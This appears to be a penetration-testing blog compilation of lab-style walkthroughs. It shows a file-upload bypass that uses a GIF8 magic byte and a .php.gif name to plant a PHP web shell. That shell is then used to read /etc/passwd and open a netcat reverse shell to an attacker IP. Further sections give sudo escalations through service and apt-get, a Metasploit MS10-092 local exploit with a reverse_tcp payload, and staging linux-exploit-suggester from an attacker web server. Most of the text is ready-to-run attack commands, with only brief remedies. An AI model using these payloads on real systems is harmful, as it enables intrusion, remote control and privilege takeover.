Local file upload – Magic byte change file type

Magic numbers are the first bits of a file which uniquely identify the type of file. it can be helpful to look for file format signatures and inferring how the application is using them based on these signatures, as well as how these formats may be abused to provoke undefined behavior within the application.

To identify these common file format signatures one typically only need to look as far as the first few bytes of the file in question. This is what’s often called “magic bytes”, a term referring to a block of arcane byte values used to designate a filetype in order for applications to be able to detect whether or not the file they plan to parse and consume is of the proper format.

For example, a jpeg file starts with ffd8 ffe0 0010 4a46 4946 0001 0101 0047 ……JFIF….. or ffd8 shows that it’s a JPEG file.

  • file image.jpeg
  • file -i image.jpeg
  • xxd image.jpeg | head

Magic numbers (File signatures) are typically not visible to the user, but, can be seen by using a hex editor or by using the ‘xxd’ command to read the file

Changing the values raise a flag for malware or potential damage.

Exploiting file upload functionality with this trick

In this scenario we see a basic php file upload. First we test functionality of the application and capture the requests with a proxy.

1. If we just click on upload and select no file it shows “Invalid image file.” Error

In proxy the response doesn’t show much

We uploaded an image file successfully message received “file uploaded, refresh gallery”

Looking at the gallery we confirm the file is stored in the server and accessible to us.

The image is store by photos.php and displayed in /uploads/ it also changes the name “10_10_14_36.jpeg”. It seems IP address + file extension

Exploiting the upload functionality

1. We will try to upload a simple GET php file.

  • vi shell.php # We name the file shell.php
  • <?php echo shell_exec($_GET[‘cmd’]); ?>

Try to upload it. As a result, we get “invalid image file.” This means the mechanism does somehow file checking.

2. As we have the source code we will determine what is going on in the background. First we search within the files to see what the user can enter

  • grep -Ri ‘$_’ *

We have there “check_file_type” function. And also it checks if “$_POST[‘submit’]” has been set. We will inspect this upload.php file.

The block of code below may indicate the following

  • Check if POST ‘submit’ has been entered, if not empty which means there was a file set the value as the variable $myfile
  • If the result of “check_file_type” is false, display “invalid image file.”, the text we were getting

Now I will inspect “check_file_type” function, I need to find which file includes it

This one shows that lib,php contains that function, so, we are reading that file

  • cat lib.php

In this other block of code within lib.php, we found our function “check_file_type”, this function is dependent on “file_mime_type” to return either true or false.

It seems this one piece of code opens the file raw data and checks the content for its type.

Changing file type

So, now we will change the file content to show our script which is ASCII to show as .gif

For this first we need to look at the list of magic bytes, you can search on the internet.

https://en.wikipedia.org/wiki/List_of_file_signatures

In the contents of the site above we see the codes that represent each format.

GIF8 is used for .gif file so we append that to the beginning of the file

  • GIF8; <?php echo shell_exec($_GET[‘cmd’]); ?>
  • file shell.php

Now we can try to upload the file.

This time we still got blocked and the error message, another mechanism should be verifying the file extension. The error message displayed this time varies a little bit. There is no ending “.”

I found the second verification mechanism within upload.php, if this fails we get “Invalid image file”. There we have the allowed formats jpg, png, gif, jpeg

Now we are changing the file name, and try to upload again:

  • mv shell.php shell.php.gif

We got to upload the file successfully

So far we have bypassed the metadata check mechanism and the file name format verification. Now, you need to locate where the server stores the file and execute

In this case this has been saved in /uploads/10_10_14_36.php.gif

Exploiting the system

As our script needs a GET request we use the URL to enter system commands

  • http://10.10.10.146/uploads/10_10_14_36.php.gif?cmd=cat /etc/passwd

We now know that the script works now a reverse Shell can be executed

1. Start a listener in Kali/Parrot OS

  • nc -lvp 4444

2. in the browser enter a netcat command

  • http://10.10.10.146/uploads/10_10_14_36.php.gif?cmd=nc -e /bin/bash 10.10.14.36 4444

The IP & Port values vary depending on your system IP and Port in use.

Doing this with Burp Suite. Bonus

1. upload the shell.php file we created as it was originally

  • file shell.php
  • cat shell.php

2. Upload the file and capture the request and response using BurpSuite

The Request uses POST we see it in the screenshot, also, there is the filename and its contents.

We will modify the value of the variable “filename” and the contents of the file, our mission is the following:

  • name the file from shell.php to shell.php.gif
  • to insert our magic byte “GIF8” to make it look as a .gif file

The response is the following “file uploaded, refresh gallery”. We didn’t change the file itself it is still being shell.php in our PC, we changed it on the go. We complained with the file being .gif and the file contents were sent as gif (GIF8)

  • file shell.php

Solution

1. There is no authentication or authorization check to make sure that the user has signed in (authentication) and has access to perform a file upload (authorization).

2. When receiving an upload, you can avoid attackers uploading executable PHP or other code by examining your uploads for content. For example, if you are accepting image uploads, call the PHP getimagesize() function on the uploaded file to determine if it is a valid image.

service – Privilege Escalation

Sudo (NOPASSWD) service – Privilege Escalation

If you ever get to run “service” command with root privileges, you can escape from restricted shell to root.

In this example /etc/sudoers has allowed an user to run this program as root without password need.

How to

1. sudo -l

2. Now that we know the command can be run without password need

  • sudo service ../../../bin/bash

 

apt-get – Privilege escalation

apt-get – Privilege escalation

apt-get can be used to escalate privileges when sudo is allowed without password.

How to

1. check the permissions this user has

  • sudo -l

We can see that /usr/bin/apt-get is allowed (NOPASSWD)

2. get into changelog documentation

  • sudo apt-get changelog apt

3. At the bottom type into change to /bin/bash since this document has been opened as root, seems to be “less” Linux utility.

  • !/bin/bash
  • <enter>

After that you immediately change to root log in.

Using apt-get & apt update for privilege escalation

(For this to work the target package (e.g., sl) must not be installed.)

  • TF=$(mktemp)
  • echo ‘Dpkg::Pre-Invoke {“/bin/sh;false”}’ > $TF
  • sudo apt-get install -c $TF sl

How to

1. Having NOPASSWD rights

  • sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/bash
  • whoami

If you type exit the apt-get update command starts to do its job.

2. using apt

  • sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash

For using either apt or apt-get you need sudo access.

sudo -l

Windows MS10_092 – Schelevator – Privilege Escalation

The vulnerability could allow elevation of privilege if an attacker logged on to an affected system and ran a specially crafted application.

The Windows Task Scheduler in Microsoft Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7 does not properly determine the security context of scheduled tasks, which allows local users to gain privileges via a crafted application, aka “Task Scheduler Vulnerability.” NOTE: this might overlap CVE-2010-3888

https://nvd.nist.gov/vuln/detail/CVE-2010-3338

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3338

https://www.securitytracker.com/id?1024874

Exploitation

1. First confirm the meterpreter session matches the system architecture.

  • sysinfo

Both show x64. In case that it mismatches it is recommended to migrate to a new process

  • ps

2. Migrate to one that shows the architecture desired, recommended to migrate to the process that has Session other than 0

  • ps

  • migrate 1152

3. run post/multi/recon/local_exploit_suggester

This output shows that this machine is vulnerable to ms10_092_schelevator

4. Set this meterpreter session to background and search for that exploit module

  • background

  • use exploit/windows/local/ms10_092_schelevator
  • show options

This exploit asks for current session, set it and then set the type of payload needed

5. find out about current sessions

  • sessions -i

6. set payload windows/meterpreter/reverse_tcp

  • set LHOST 10.10.14.10

  • show options

7. Having already the parameters set run the exploit

  • exploit

A new meterpreter session has been opened.

8. Check current user after running the exploit.

  • getuid

9. access the shell being administrator

  • shell

Fix command issue:

I did encounter an issue, only few commands were loaded so I had to load stdapi module, it brought all the commands.

  • load stdapi

https://kb.help.rapid7.com/discuss/59d8cc5b11e8d90010cb57c4

Remedy

Apply security updates

https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-092

linux-exploit-suggester – Enumeration Linux kernelLinux-based machine

LES tool is designed to assist in detecting security deficiencies for given Linux kernel/Linux-based machine.

https://github.com/mzet-/linux-exploit-suggester

Execute

1. Download the tool

  • git clone https://github.com/mzet-/linux-exploit-suggester.git

  • cd
  • ls

2. Start python web server

  • python -m SimpleHTTPServer 9999

3. Download the script into the server

  • wget http://10.10.14.16:9999/linux-exploit-suggester
  • chmod a+x linux-exploit-suggester
  • ./ linux-exploit-suggester

For each exploit, exposure is calculated. Following ‘Exposure’ states are possible:

  • Highly probable – assessed kernel is most probably affected and there’s a very good chance that PoC exploit will work out of the box without any major modifications.
  • Probable – it’s possible that exploit will work but most likely customization of PoC exploit will be needed to suit your target.
  • Less probable – additional manual analysis is needed to verify if kernel is affected.
  • Unprobable – highly unlikely that kernel is affected (exploit is not displayed in the tool’s output)

Example to further analyze the exploits

This is less probable so we need to confirm the info above.

libc6:2.23-ubuntu

Ubuntu=16.04.3

The info of the script matches config files and output of the server. It qualifies to be exploited.